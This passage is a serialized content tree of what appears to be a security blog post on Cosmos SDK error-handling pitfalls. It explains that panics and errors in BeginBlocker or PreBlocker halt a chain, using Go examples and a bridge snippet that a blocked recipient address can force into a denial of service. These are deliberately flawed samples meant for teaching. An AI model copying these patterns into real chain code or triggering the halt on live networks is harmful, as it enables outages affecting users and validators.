"type":23,"tag":24,"props":78575,"children":78576},{},[78577,78579,78584,78586,78593,78594,78601],{"type":28,"value":78578},"Additional examples of incorrect ",{"type":23,"tag":64,"props":78580,"children":78582},{"className":78581},[],[78583],{"type":28,"value":76002},{"type":28,"value":78585}," usage include ",{"type":23,"tag":190,"props":78587,"children":78590},{"href":78588,"rel":78589},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[194],[78591],{"type":28,"value":78592},"yet more bypassable checks and loss of funds",{"type":28,"value":8478},{"type":23,"tag":190,"props":78595,"children":78598},{"href":78596,"rel":78597},"https://github.com/cosmos/ibc-go/issues/853",[194],[78599],{"type":28,"value":78600},"incorrect data passing between blockchains",{"type":28,"value":199},{"type":23,"tag":31,"props":78603,"children":78605},{"id":78604},"errors-panics-i-can-handle-it",[78606],{"type":28,"value":78607},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":78609,"children":78610},{},[78611],{"type":28,"value":78612},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":78614,"children":78615},{},[78616],{"type":28,"value":78617},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":78619,"children":78620},{},[78621,78623,78629,78631,78636],{"type":28,"value":78622},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":64,"props":78624,"children":78626},{"className":78625},[],[78627],{"type":28,"value":78628},"k.keeper.TotalReward()",{"type":28,"value":78630}," returns zero, the ",{"type":23,"tag":64,"props":78632,"children":78634},{"className":78633},[],[78635],{"type":28,"value":55473},{"type":28,"value":78637}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":435,"props":78639,"children":78641},{"code":78640,"language":73696,"meta":7,"className":73697,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[78642],{"type":23,"tag":64,"props":78643,"children":78644},{"__ignoreMap":7},[78645,78678,78701,78729,78765,78772,78841,78879,78886,78918],{"type":23,"tag":481,"props":78646,"children":78647},{"class":483,"line":484},[78648,78652,78656,78661,78665,78669,78674],{"type":23,"tag":481,"props":78649,"children":78650},{"style":497},[78651],{"type":28,"value":73832},{"type":23,"tag":481,"props":78653,"children":78654},{"style":525},[78655],{"type":28,"value":578},{"type":23,"tag":481,"props":78657,"children":78658},{"style":508},[78659],{"type":28,"value":78660},"k ",{"type":23,"tag":481,"props":78662,"children":78663},{"style":943},[78664],{"type":28,"value":73846},{"type":23,"tag":481,"props":78666,"children":78667},{"style":525},[78668],{"type":28,"value":598},{"type":23,"tag":481,"props":78670,"children":78671},{"style":610},[78672],{"type":28,"value":78673},"AllocateReward",{"type":23,"tag":481,"props":78675,"children":78676},{"style":525},[78677],{"type":28,"value":988},{"type":23,"tag":481,"props":78679,"children":78680},{"class":483,"line":351},[78681,78685,78689,78693,78697],{"type":23,"tag":481,"props":78682,"children":78683},{"style":508},[78684],{"type":28,"value":73867},{"type":23,"tag":481,"props":78686,"children":78687},{"style":943},[78688],{"type":28,"value":73872},{"type":23,"tag":481,"props":78690,"children":78691},{"style":525},[78692],{"type":28,"value":199},{"type":23,"tag":481,"props":78694,"children":78695},{"style":943},[78696],{"type":28,"value":73881},{"type":23,"tag":481,"props":78698,"children":78699},{"style":525},[78700],{"type":28,"value":1033},{"type":23,"tag":481,"props":78702,"children":78703},{"class":483,"line":531},[78704,78708,78712,78716,78720,78725],{"type":23,"tag":481,"props":78705,"children":78706},{"style":508},[78707],{"type":28,"value":73893},{"type":23,"tag":481,"props":78709,"children":78710},{"style":514},[78711],{"type":28,"value":7301},{"type":23,"tag":481,"props":78713,"children":78714},{"style":943},[78715],{"type":28,"value":3234},{"type":23,"tag":481,"props":78717,"children":78718},{"style":525},[78719],{"type":28,"value":199},{"type":23,"tag":481,"props":78721,"children":78722},{"style":943},[78723],{"type":28,"value":78724},"MsgAllocateReward",{"type":23,"tag":481,"props":78726,"children":78727},{"style":525},[78728],{"type":28,"value":675},{"type":23,"tag":481,"props":78730,"children":78731},{"class":483,"line":567},[78732,78736,78740,78744,78748,78753,78757,78761],{"type":23,"tag":481,"props":78733,"children":78734},{"style":525},[78735],{"type":28,"value":618},{"type":23,"tag":481,"props":78737,"children":78738},{"style":514},[78739],{"type":28,"value":2120},{"type":23,"tag":481,"props":78741,"children":78742},{"style":943},[78743],{"type":28,"value":3234},{"type":23,"tag":481,"props":78745,"children":78746},{"style":525},[78747],{"type":28,"value":199},{"type":23,"tag":481,"props":78749,"children":78750},{"style":943},[78751],{"type":28,"value":78752},"MsgAllocatRewardResponse",{"type":23,"tag":481,"props":78754,"children":78755},{"style":525},[78756],{"type":28,"value":588},{"type":23,"tag":481,"props":78758,"children":78759},{"style":943},[78760],{"type":28,"value":12352},{"type":23,"tag":481,"props":78762,"children":78763},{"style":525},[78764],{"type":28,"value":12292},{"type":23,"tag":481,"props":78766,"children":78767},{"class":483,"line":678},[78768],{"type":23,"tag":481,"props":78769,"children":78770},{"emptyLinePlaceholder":15},[78771],{"type":28,"value":1210},{"type":23,"tag":481,"props":78773,"children":78774},{"class":483,"line":784},[78775,78780,78784,78789,78793,78798,78802,78807,78811,78815,78820,78824,78828,78832,78837],{"type":23,"tag":481,"props":78776,"children":78777},{"style":508},[78778],{"type":28,"value":78779}," RewardPerShare",{"type":23,"tag":481,"props":78781,"children":78782},{"style":514},[78783],{"type":28,"value":73948},{"type":23,"tag":481,"props":78785,"children":78786},{"style":508},[78787],{"type":28,"value":78788}," k",{"type":23,"tag":481,"props":78790,"children":78791},{"style":525},[78792],{"type":28,"value":199},{"type":23,"tag":481,"props":78794,"children":78795},{"style":508},[78796],{"type":28,"value":78797},"keeper",{"type":23,"tag":481,"props":78799,"children":78800},{"style":525},[78801],{"type":28,"value":199},{"type":23,"tag":481,"props":78803,"children":78804},{"style":610},[78805],{"type":28,"value":78806},"Shares",{"type":23,"tag":481,"props":78808,"children":78809},{"style":525},[78810],{"type":28,"value":11531},{"type":23,"tag":481,"props":78812,"children":78813},{"style":514},[78814],{"type":28,"value":2130},{"type":23,"tag":481,"props":78816,"children":78817},{"style":508},[78818],{"type":28,"value":78819}," k",{"type":23,"tag":481,"props":78821,"children":78822},{"style":525},[78823],{"type":28,"value":199},{"type":23,"tag":481,"props":78825,"children":78826},{"style":508},[78827],{"type":28,"value":78797},{"type":23,"tag":481,"props":78829,"children":78830},{"style":525},[78831],{"type":28,"value":199},{"type":23,"tag":481,"props":78833,"children":78834},{"style":610},[78835],{"type":28,"value":78836},"TotalReward",{"type":23,"tag":481,"props":78838,"children":78839},{"style":525},[78840],{"type":28,"value":5214},{"type":23,"tag":481,"props":78842,"children":78843},{"class":483,"line":812},[78844,78849,78853,78857,78861,78866,78870,78875],{"type":23,"tag":481,"props":78845,"children":78846},{"style":508},[78847],{"type":28,"value":78848}," k",{"type":23,"tag":481,"props":78850,"children":78851},{"style":525},[78852],{"type":28,"value":199},{"type":23,"tag":481,"props":78854,"children":78855},{"style":508},[78856],{"type":28,"value":78797},{"type":23,"tag":481,"props":78858,"children":78859},{"style":525},[78860],{"type":28,"value":199},{"type":23,"tag":481,"props":78862,"children":78863},{"style":610},[78864],{"type":28,"value":78865},"DistributeReward",{"type":23,"tag":481,"props":78867,"children":78868},{"style":525},[78869],{"type":28,"value":618},{"type":23,"tag":481,"props":78871,"children":78872},{"style":508},[78873],{"type":28,"value":78874},"RewardPerShare",{"type":23,"tag":481,"props":78876,"children":78877},{"style":525},[78878],{"type":28,"value":675},{"type":23,"tag":481,"props":78880,"children":78881},{"class":483,"line":825},[78882],{"type":23,"tag":481,"props":78883,"children":78884},{"emptyLinePlaceholder":15},[78885],{"type":28,"value":1210},{"type":23,"tag":481,"props":78887,"children":78888},{"class":483,"line":843},[78889,78893,78897,78901,78905,78910,78914],{"type":23,"tag":481,"props":78890,"children":78891},{"style":535},[78892],{"type":28,"value":14481},{"type":23,"tag":481,"props":78894,"children":78895},{"style":514},[78896],{"type":28,"value":4619},{"type":23,"tag":481,"props":78898,"children":78899},{"style":508},[78900],{"type":28,"value":3234},{"type":23,"tag":481,"props":78902,"children":78903},{"style":525},[78904],{"type":28,"value":199},{"type":23,"tag":481,"props":78906,"children":78907},{"style":508},[78908],{"type":28,"value":78909},"MsgAllocateRewardResponse",{"type":23,"tag":481,"props":78911,"children":78912},{"style":525},[78913],{"type":28,"value":588},{"type":23,"tag":481,"props":78915,"children":78916},{"style":497},[78917],{"type":28,"value":74174},{"type":23,"tag":481,"props":78919,"children":78920},{"class":483,"line":864},[78921],{"type":23,"tag":481,"props":78922,"children":78923},{"style":525},[78924],{"type":28,"value":1443},{"type":23,"tag":24,"props":78926,"children":78927},{},[78928,78930,78936,78937,78943,78944,78950,78952,78957],{"type":28,"value":78929},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":64,"props":78931,"children":78933},{"className":78932},[],[78934],{"type":28,"value":78935},"PreBlocker",{"type":28,"value":588},{"type":23,"tag":64,"props":78938,"children":78940},{"className":78939},[],[78941],{"type":28,"value":78942},"BeginBlocker",{"type":28,"value":3965},{"type":23,"tag":64,"props":78945,"children":78947},{"className":78946},[],[78948],{"type":28,"value":78949},"EndBlocker",{"type":28,"value":78951},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":64,"props":78953,"children":78955},{"className":78954},[],[78956],{"type":28,"value":78942},{"type":28,"value":78958}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":435,"props":78960,"children":78962},{"code":78961,"language":73696,"meta":7,"className":73697,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[78963],{"type":23,"tag":64,"props":78964,"children":78965},{"__ignoreMap":7},[78966,79031,79038,79086,79114,79121,79133],{"type":23,"tag":481,"props":78967,"children":78968},{"class":483,"line":484},[78969,78973,78978,78982,78986,78990,78994,78998,79002,79006,79011,79015,79019,79023,79027],{"type":23,"tag":481,"props":78970,"children":78971},{"style":497},[78972],{"type":28,"value":73832},{"type":23,"tag":481,"props":78974,"children":78975},{"style":610},[78976],{"type":28,"value":78977}," BeginBlocker",{"type":23,"tag":481,"props":78979,"children":78980},{"style":525},[78981],{"type":28,"value":618},{"type":23,"tag":481,"props":78983,"children":78984},{"style":508},[78985],{"type":28,"value":17778},{"type":23,"tag":481,"props":78987,"children":78988},{"style":943},[78989],{"type":28,"value":73872},{"type":23,"tag":481,"props":78991,"children":78992},{"style":525},[78993],{"type":28,"value":199},{"type":23,"tag":481,"props":78995,"children":78996},{"style":943},[78997],{"type":28,"value":73881},{"type":23,"tag":481,"props":78999,"children":79000},{"style":525},[79001],{"type":28,"value":588},{"type":23,"tag":481,"props":79003,"children":79004},{"style":508},[79005],{"type":28,"value":78797},{"type":23,"tag":481,"props":79007,"children":79008},{"style":943},[79009],{"type":28,"value":79010}," keeper",{"type":23,"tag":481,"props":79012,"children":79013},{"style":525},[79014],{"type":28,"value":199},{"type":23,"tag":481,"props":79016,"children":79017},{"style":943},[79018],{"type":28,"value":77477},{"type":23,"tag":481,"props":79020,"children":79021},{"style":525},[79022],{"type":28,"value":598},{"type":23,"tag":481,"props":79024,"children":79025},{"style":943},[79026],{"type":28,"value":12352},{"type":23,"tag":481,"props":79028,"children":79029},{"style":525},[79030],{"type":28,"value":809},{"type":23,"tag":481,"props":79032,"children":79033},{"class":483,"line":351},[79034],{"type":23,"tag":481,"props":79035,"children":79036},{"emptyLinePlaceholder":15},[79037],{"type":28,"value":1210},{"type":23,"tag":481,"props":79039,"children":79040},{"class":483,"line":531},[79041,79045,79049,79053,79057,79061,79065,79069,79074,79078,79082],{"type":23,"tag":481,"props":79042,"children":79043},{"style":508},[79044],{"type":28,"value":78779},{"type":23,"tag":481,"props":79046,"children":79047},{"style":514},[79048],{"type":28,"value":73948},{"type":23,"tag":481,"props":79050,"children":79051},{"style":508},[79052],{"type":28,"value":79010},{"type":23,"tag":481,"props":79054,"children":79055},{"style":525},[79056],{"type":28,"value":199},{"type":23,"tag":481,"props":79058,"children":79059},{"style":610},[79060],{"type":28,"value":78806},{"type":23,"tag":481,"props":79062,"children":79063},{"style":525},[79064],{"type":28,"value":11531},{"type":23,"tag":481,"props":79066,"children":79067},{"style":514},[79068],{"type":28,"value":2130},{"type":23,"tag":481,"props":79070,"children":79071},{"style":508},[79072],{"type":28,"value":79073}," keeper",{"type":23,"tag":481,"props":79075,"children":79076},{"style":525},[79077],{"type":28,"value":199},{"type":23,"tag":481,"props":79079,"children":79080},{"style":610},[79081],{"type":28,"value":78836},{"type":23,"tag":481,"props":79083,"children":79084},{"style":525},[79085],{"type":28,"value":5214},{"type":23,"tag":481,"props":79087,"children":79088},{"class":483,"line":567},[79089,79094,79098,79102,79106,79110],{"type":23,"tag":481,"props":79090,"children":79091},{"style":508},[79092],{"type":28,"value":79093}," keeper",{"type":23,"tag":481,"props":79095,"children":79096},{"style":525},[79097],{"type":28,"value":199},{"type":23,"tag":481,"props":79099,"children":79100},{"style":610},[79101],{"type":28,"value":78865},{"type":23,"tag":481,"props":79103,"children":79104},{"style":525},[79105],{"type":28,"value":618},{"type":23,"tag":481,"props":79107,"children":79108},{"style":508},[79109],{"type":28,"value":78874},{"type":23,"tag":481,"props":79111,"children":79112},{"style":525},[79113],{"type":28,"value":675},{"type":23,"tag":481,"props":79115,"children":79116},{"class":483,"line":678},[79117],{"type":23,"tag":481,"props":79118,"children":79119},{"emptyLinePlaceholder":15},[79120],{"type":28,"value":1210},{"type":23,"tag":481,"props":79122,"children":79123},{"class":483,"line":784},[79124,79128],{"type":23,"tag":481,"props":79125,"children":79126},{"style":535},[79127],{"type":28,"value":50392},{"type":23,"tag":481,"props":79129,"children":79130},{"style":497},[79131],{"type":28,"value":79132}," nil\n",{"type":23,"tag":481,"props":79134,"children":79135},{"class":483,"line":812},[79136],{"type":23,"tag":481,"props":79137,"children":79138},{"style":525},[79139],{"type":28,"value":1443},{"type":23,"tag":7092,"props":79141,"children":79143},{"id":79142},"real-world-examples-3",[79144],{"type":28,"value":74221},{"type":23,"tag":24,"props":79146,"children":79147},{},[79148],{"type":28,"value":79149},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":79151,"children":79152},{},[79153,79155,79161,79163,79168,79170,79176,79178,79184,79186,79192],{"type":28,"value":79154},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":64,"props":79156,"children":79158},{"className":79157},[],[79159],{"type":28,"value":79160},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":79162}," will be bubbled up through ",{"type":23,"tag":64,"props":79164,"children":79166},{"className":79165},[],[79167],{"type":28,"value":78935},{"type":28,"value":79169}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":64,"props":79171,"children":79173},{"className":79172},[],[79174],{"type":28,"value":79175},"SendCoinsFromModuleToAccount",{"type":28,"value":79177}," to return an error by setting ",{"type":23,"tag":64,"props":79179,"children":79181},{"className":79180},[],[79182],{"type":28,"value":79183},"recipient",{"type":28,"value":79185}," to some ",{"type":23,"tag":64,"props":79187,"children":79189},{"className":79188},[],[79190],{"type":28,"value":79191},"BlockedAddr",{"type":28,"value":79193},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":79195,"children":79196},{},[79197],{"type":23,"tag":190,"props":79198,"children":79201},{"href":79199,"rel":79200},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[194],[79202],{"type":28,"value":74271},{"type":23,"tag":435,"props":79204,"children":79206},{"code":79205,"language":73696,"meta":7,"className":73697,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[79207],{"type":23,"tag":64,"props":79208,"children":79209},{"__ignoreMap":7},[79210,79263,79278,79301,79331,79367,79375,79431,79455,79505,79512,79519,79526,79533,79540,79571,79594,79619,79634,79641,79678,79732,79755,79796,79803,79810,79861,79922,79945,79968,79980,80001,80013,80021,80028,80043,80051,80058,80065,80072,80079,80086,80117,80140,80165,80190,80205,80212,80249,80260,80281,80292,80304,80311,80334,80374,80381,80388],{"type":23,"tag":481,"props":79211,"children":79212},{"class":483,"line":484},[79213,79217,79221,79226,79230,79235,79239,79243,79247,79251,79255,79259],{"type":23,"tag":481,"props":79214,"children":79215},{"style":497},[79216],{"type":28,"value":73832},{"type":23,"tag":481,"props":79218,"children":79219},{"style":525},[79220],{"type":28,"value":578},{"type":23,"tag":481,"props":79222,"children":79223},{"style":508},[79224],{"type":28,"value":79225},"pbh ",{"type":23,"tag":481,"props":79227,"children":79228},{"style":514},[79229],{"type":28,"value":2120},{"type":23,"tag":481,"props":79231,"children":79232},{"style":943},[79233],{"type":28,"value":79234},"PreBlockHandler",{"type":23,"tag":481,"props":79236,"children":79237},{"style":525},[79238],{"type":28,"value":598},{"type":23,"tag":481,"props":79240,"children":79241},{"style":610},[79242],{"type":28,"value":78935},{"type":23,"tag":481,"props":79244,"children":79245},{"style":525},[79246],{"type":28,"value":11531},{"type":23,"tag":481,"props":79248,"children":79249},{"style":943},[79250],{"type":28,"value":76262},{"type":23,"tag":481,"props":79252,"children":79253},{"style":525},[79254],{"type":28,"value":199},{"type":23,"tag":481,"props":79256,"children":79257},{"style":943},[79258],{"type":28,"value":78935},{"type":23,"tag":481,"props":79260,"children":79261},{"style":525},[79262],{"type":28,"value":809},{"type":23,"tag":481,"props":79264,"children":79265},{"class":483,"line":351},[79266,79270,79274],{"type":23,"tag":481,"props":79267,"children":79268},{"style":535},[79269],{"type":28,"value":14481},{"type":23,"tag":481,"props":79271,"children":79272},{"style":497},[79273],{"type":28,"value":77541},{"type":23,"tag":481,"props":79275,"children":79276},{"style":525},[79277],{"type":28,"value":988},{"type":23,"tag":481,"props":79279,"children":79280},{"class":483,"line":531},[79281,79285,79289,79293,79297],{"type":23,"tag":481,"props":79282,"children":79283},{"style":508},[79284],{"type":28,"value":23697},{"type":23,"tag":481,"props":79286,"children":79287},{"style":943},[79288],{"type":28,"value":76173},{"type":23,"tag":481,"props":79290,"children":79291},{"style":525},[79292],{"type":28,"value":199},{"type":23,"tag":481,"props":79294,"children":79295},{"style":943},[79296],{"type":28,"value":73881},{"type":23,"tag":481,"props":79298,"children":79299},{"style":525},[79300],{"type":28,"value":1033},{"type":23,"tag":481,"props":79302,"children":79303},{"class":483,"line":567},[79304,79309,79313,79318,79322,79327],{"type":23,"tag":481,"props":79305,"children":79306},{"style":508},[79307],{"type":28,"value":79308}," req",{"type":23,"tag":481,"props":79310,"children":79311},{"style":514},[79312],{"type":28,"value":7301},{"type":23,"tag":481,"props":79314,"children":79315},{"style":943},[79316],{"type":28,"value":79317},"cmtabci",{"type":23,"tag":481,"props":79319,"children":79320},{"style":525},[79321],{"type":28,"value":199},{"type":23,"tag":481,"props":79323,"children":79324},{"style":943},[79325],{"type":28,"value":79326},"RequestFinalizeBlock",{"type":23,"tag":481,"props":79328,"children":79329},{"style":525},[79330],{"type":28,"value":1033},{"type":23,"tag":481,"props":79332,"children":79333},{"class":483,"line":678},[79334,79338,79342,79346,79350,79355,79359,79363],{"type":23,"tag":481,"props":79335,"children":79336},{"style":525},[79337],{"type":28,"value":77609},{"type":23,"tag":481,"props":79339,"children":79340},{"style":514},[79341],{"type":28,"value":2120},{"type":23,"tag":481,"props":79343,"children":79344},{"style":943},[79345],{"type":28,"value":76262},{"type":23,"tag":481,"props":79347,"children":79348},{"style":525},[79349],{"type":28,"value":199},{"type":23,"tag":481,"props":79351,"children":79352},{"style":943},[79353],{"type":28,"value":79354},"ResponsePreBlock",{"type":23,"tag":481,"props":79356,"children":79357},{"style":525},[79358],{"type":28,"value":588},{"type":23,"tag":481,"props":79360,"children":79361},{"style":943},[79362],{"type":28,"value":12352},{"type":23,"tag":481,"props":79364,"children":79365},{"style":525},[79366],{"type":28,"value":12292},{"type":23,"tag":481,"props":79368,"children":79369},{"class":483,"line":784},[79370],{"type":23,"tag":481,"props":79371,"children":79372},{"style":514},[79373],{"type":28,"value":79374}," ...\n",{"type":23,"tag":481,"props":79376,"children":79377},{"class":483,"line":812},[79378,79383,79387,79392,79396,79401,79405,79410,79414,79418,79422,79427],{"type":23,"tag":481,"props":79379,"children":79380},{"style":508},[79381],{"type":28,"value":79382}," err",{"type":23,"tag":481,"props":79384,"children":79385},{"style":514},[79386],{"type":28,"value":73948},{"type":23,"tag":481,"props":79388,"children":79389},{"style":508},[79390],{"type":28,"value":79391}," pbh",{"type":23,"tag":481,"props":79393,"children":79394},{"style":525},[79395],{"type":28,"value":199},{"type":23,"tag":481,"props":79397,"children":79398},{"style":508},[79399],{"type":28,"value":79400},"bridgeKeeper",{"type":23,"tag":481,"props":79402,"children":79403},{"style":525},[79404],{"type":28,"value":199},{"type":23,"tag":481,"props":79406,"children":79407},{"style":610},[79408],{"type":28,"value":79409},"AcceptAssetsLocked",{"type":23,"tag":481,"props":79411,"children":79412},{"style":525},[79413],{"type":28,"value":618},{"type":23,"tag":481,"props":79415,"children":79416},{"style":508},[79417],{"type":28,"value":17778},{"type":23,"tag":481,"props":79419,"children":79420},{"style":525},[79421],{"type":28,"value":588},{"type":23,"tag":481,"props":79423,"children":79424},{"style":508},[79425],{"type":28,"value":79426},"events",{"type":23,"tag":481,"props":79428,"children":79429},{"style":525},[79430],{"type":28,"value":675},{"type":23,"tag":481,"props":79432,"children":79433},{"class":483,"line":825},[79434,79438,79442,79446,79451],{"type":23,"tag":481,"props":79435,"children":79436},{"style":535},[79437],{"type":28,"value":790},{"type":23,"tag":481,"props":79439,"children":79440},{"style":508},[79441],{"type":28,"value":46046},{"type":23,"tag":481,"props":79443,"children":79444},{"style":514},[79445],{"type":28,"value":61915},{"type":23,"tag":481,"props":79447,"children":79448},{"style":497},[79449],{"type":28,"value":79450}," nil",{"type":23,"tag":481,"props":79452,"children":79453},{"style":525},[79454],{"type":28,"value":809},{"type":23,"tag":481,"props":79456,"children":79457},{"class":483,"line":843},[79458,79462,79466,79470,79475,79479,79484,79488,79493,79497,79501],{"type":23,"tag":481,"props":79459,"children":79460},{"style":535},[79461],{"type":28,"value":76608},{"type":23,"tag":481,"props":79463,"children":79464},{"style":497},[79465],{"type":28,"value":79450},{"type":23,"tag":481,"props":79467,"children":79468},{"style":525},[79469],{"type":28,"value":588},{"type":23,"tag":481,"props":79471,"children":79472},{"style":508},[79473],{"type":28,"value":79474},"fmt",{"type":23,"tag":481,"props":79476,"children":79477},{"style":525},[79478],{"type":28,"value":199},{"type":23,"tag":481,"props":79480,"children":79481},{"style":610},[79482],{"type":28,"value":79483},"Errorf",{"type":23,"tag":481,"props":79485,"children":79486},{"style":525},[79487],{"type":28,"value":618},{"type":23,"tag":481,"props":79489,"children":79490},{"style":1805},[79491],{"type":28,"value":79492},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":481,"props":79494,"children":79495},{"style":525},[79496],{"type":28,"value":588},{"type":23,"tag":481,"props":79498,"children":79499},{"style":508},[79500],{"type":28,"value":45945},{"type":23,"tag":481,"props":79502,"children":79503},{"style":525},[79504],{"type":28,"value":675},{"type":23,"tag":481,"props":79506,"children":79507},{"class":483,"line":864},[79508],{"type":23,"tag":481,"props":79509,"children":79510},{"style":525},[79511],{"type":28,"value":870},{"type":23,"tag":481,"props":79513,"children":79514},{"class":483,"line":873},[79515],{"type":23,"tag":481,"props":79516,"children":79517},{"style":514},[79518],{"type":28,"value":79374},{"type":23,"tag":481,"props":79520,"children":79521},{"class":483,"line":1125},[79522],{"type":23,"tag":481,"props":79523,"children":79524},{"style":525},[79525],{"type":28,"value":879},{"type":23,"tag":481,"props":79527,"children":79528},{"class":483,"line":1142},[79529],{"type":23,"tag":481,"props":79530,"children":79531},{"style":525},[79532],{"type":28,"value":1443},{"type":23,"tag":481,"props":79534,"children":79535},{"class":483,"line":1159},[79536],{"type":23,"tag":481,"props":79537,"children":79538},{"emptyLinePlaceholder":15},[79539],{"type":28,"value":1210},{"type":23,"tag":481,"props":79541,"children":79542},{"class":483,"line":1172},[79543,79547,79551,79555,79559,79563,79567],{"type":23,"tag":481,"props":79544,"children":79545},{"style":497},[79546],{"type":28,"value":73832},{"type":23,"tag":481,"props":79548,"children":79549},{"style":525},[79550],{"type":28,"value":578},{"type":23,"tag":481,"props":79552,"children":79553},{"style":508},[79554],{"type":28,"value":78660},{"type":23,"tag":481,"props":79556,"children":79557},{"style":943},[79558],{"type":28,"value":77477},{"type":23,"tag":481,"props":79560,"children":79561},{"style":525},[79562],{"type":28,"value":598},{"type":23,"tag":481,"props":79564,"children":79565},{"style":610},[79566],{"type":28,"value":79409},{"type":23,"tag":481,"props":79568,"children":79569},{"style":525},[79570],{"type":28,"value":988},{"type":23,"tag":481,"props":79572,"children":79573},{"class":483,"line":1181},[79574,79578,79582,79586,79590],{"type":23,"tag":481,"props":79575,"children":79576},{"style":508},[79577],{"type":28,"value":17721},{"type":23,"tag":481,"props":79579,"children":79580},{"style":943},[79581],{"type":28,"value":76173},{"type":23,"tag":481,"props":79583,"children":79584},{"style":525},[79585],{"type":28,"value":199},{"type":23,"tag":481,"props":79587,"children":79588},{"style":943},[79589],{"type":28,"value":73881},{"type":23,"tag":481,"props":79591,"children":79592},{"style":525},[79593],{"type":28,"value":1033},{"type":23,"tag":481,"props":79595,"children":79596},{"class":483,"line":1204},[79597,79602,79606,79610,79615],{"type":23,"tag":481,"props":79598,"children":79599},{"style":508},[79600],{"type":28,"value":79601}," events",{"type":23,"tag":481,"props":79603,"children":79604},{"style":943},[79605],{"type":28,"value":75707},{"type":23,"tag":481,"props":79607,"children":79608},{"style":525},[79609],{"type":28,"value":199},{"type":23,"tag":481,"props":79611,"children":79612},{"style":943},[79613],{"type":28,"value":79614},"AssetsLockedEvents",{"type":23,"tag":481,"props":79616,"children":79617},{"style":525},[79618],{"type":28,"value":1033},{"type":23,"tag":481,"props":79620,"children":79621},{"class":483,"line":1213},[79622,79626,79630],{"type":23,"tag":481,"props":79623,"children":79624},{"style":525},[79625],{"type":28,"value":598},{"type":23,"tag":481,"props":79627,"children":79628},{"style":943},[79629],{"type":28,"value":12352},{"type":23,"tag":481,"props":79631,"children":79632},{"style":525},[79633],{"type":28,"value":809},{"type":23,"tag":481,"props":79635,"children":79636},{"class":483,"line":1222},[79637],{"type":23,"tag":481,"props":79638,"children":79639},{"style":514},[79640],{"type":28,"value":17837},{"type":23,"tag":481,"props":79642,"children":79643},{"class":483,"line":1291},[79644,79648,79652,79656,79661,79665,79669,79674],{"type":23,"tag":481,"props":79645,"children":79646},{"style":535},[79647],{"type":28,"value":538},{"type":23,"tag":481,"props":79649,"children":79650},{"style":508},[79651],{"type":28,"value":543},{"type":23,"tag":481,"props":79653,"children":79654},{"style":525},[79655],{"type":28,"value":588},{"type":23,"tag":481,"props":79657,"children":79658},{"style":508},[79659],{"type":28,"value":79660},"event",{"type":23,"tag":481,"props":79662,"children":79663},{"style":514},[79664],{"type":28,"value":73948},{"type":23,"tag":481,"props":79666,"children":79667},{"style":535},[79668],{"type":28,"value":74931},{"type":23,"tag":481,"props":79670,"children":79671},{"style":508},[79672],{"type":28,"value":79673}," events",{"type":23,"tag":481,"props":79675,"children":79676},{"style":525},[79677],{"type":28,"value":809},{"type":23,"tag":481,"props":79679,"children":79680},{"class":483,"line":1299},[79681,79686,79690,79694,79698,79702,79706,79711,79715,79719,79723,79728],{"type":23,"tag":481,"props":79682,"children":79683},{"style":508},[79684],{"type":28,"value":79685}," 